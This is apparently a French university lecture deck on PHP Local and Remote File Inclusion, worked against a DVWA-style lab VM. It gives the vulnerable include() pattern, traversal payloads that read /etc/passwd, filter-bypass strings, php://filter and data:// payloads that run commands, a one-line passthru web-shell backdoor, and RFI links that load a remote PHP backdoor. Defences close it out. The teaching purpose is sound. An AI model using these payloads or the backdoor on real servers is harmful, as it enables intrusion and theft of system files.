# File Inclusion

## aka LFI / RFI

<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
<br /><br /><br /><br /><br /><br />
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>


### <i class="fas fa-cogs"></i> File Inclusion

* paramètres HTTP non filtrés

```php
include($_REQUEST['filename']);
```

* permet
  * d'exécuter du code distant
  * d'exécuter du code localement
  * accéder à des fichiers locaux sensibles

* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)


### <i class="fas fa-ice-cream"></i> File Inclusion / types

* Local File inclusion
* Remote File inclusion


### <i class="fa-solid fa-bomb"></i> LFI / low

* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
  * [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd)

* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`

Note:
- open base dir
  - pas ou mal configiuré
  - par défaut ispconfig
- anciennement safe_mode


### <i class="fa-solid fa-bomb"></i> LFI / low

* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts` 
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php)
    * boucle infinie = ca marche
      * invalider par (include|require)&lowbar;once


### <i class="fa-solid fa-bomb"></i> RFI

* inclusion de code arbitraire
  * Backdoor ou Remote shell

* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini`

```ini
allow_url_include=On  # just for test purpose
```

`$ sudo systemctl restart apache2`

<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!


### <i class="fa-solid fa-bomb"></i> RFI / low

* <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small>
  * <i class="fas fa-poop"></i> drôle mais pas très utile

* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
  * <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
    * <i class="fa-solid fa-poo"></i> un peu frustrant


### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor

* Basiquement permet d'exécuter du code et / ou des commandes systèmes
  * version artisanale
    ```php
    echo passthru($_GET['cmd']);
    ```
  * version plus robuste
    * [<i class='fab fa-github' aria-hidden='true'></i>  dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
    * [r57shell.net](http://www.r57shell.net/)


### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor

* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small> 

* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small>

* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small>


##  RFI / security medium

```php
  $file = str_replace( 
    array( "http://", "https://" ),
    "", 
    $file 
  );
  ```
<small>

* [/?page=hthttp://tp://www.google.fr](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=hthttp://tp://www.google.fr)
  * échapper l'échappement
* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php)
  * récupère le code source php du fichier file1.php
* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=)
  * exécute `<?php system("hostname"); ?>`

</small>

Note:
- discuter la surcharge du php.ini via .htaccess
  - solution ispconfig
- on reste bien sur security low pour que ca marche


##  LFI / security medium

```php
  $file = str_replace(
    array( "../", "..\\" ), 
    "", 
    $file 
  );
  ```

<small>

* [/?page=../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../../../../../etc/hosts)
  * ne fonctionne plus
* [/?page=../..././..././..././..././..././etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
  * permet d'échapper l'échappement
* [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
  * Les paths absolus fonctionnent toujours

</small>


##  LFI / security high

```php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
```

<small>

* accès au fichier caché
  * [/?page=file4.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file4.php)
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
  * [/?page=file:///etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file:///etc/hosts)
* le dossier file n'existe pas mais php résout tout de même
  * [/?page=file/../../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file/../../../../../../etc/hosts)


## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)

* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
  * le chemin vers le fichier est analysé
    * si le fichier est à l'extérieur des dossiers spécifiés
      * PHP refuse d'y accéder
    * les liens symboliques sont résolus
      * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique


## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)

* `.` inclue le fichier lui-même
  * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)

* valeur typique

```ini
/var/www/:/usr/share/php:/tmp
```

Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...


## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)

* [realpath()](http://php.net/manual/fr/function.realpath.php)
  * converti tous les *.* et **..** en path absolue
  * retourne null pour un path inexistant
* [basename()](http://php.net/manual/fr/function.basename.php)
  * extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal


## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)

```php
$username = $_GET['user'];
$filename = "/home/users/".$username.".txt";
readfile($filename);
```

peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)

```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username.".txt";
readfile($filename);
```

ne préserve pas d'une LFI dans le même répertoire


## <i class="fa fa-medkit"></i> Se préserver

* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php)
* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* filtrer ses entrées
  * par listes blanches
  * avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)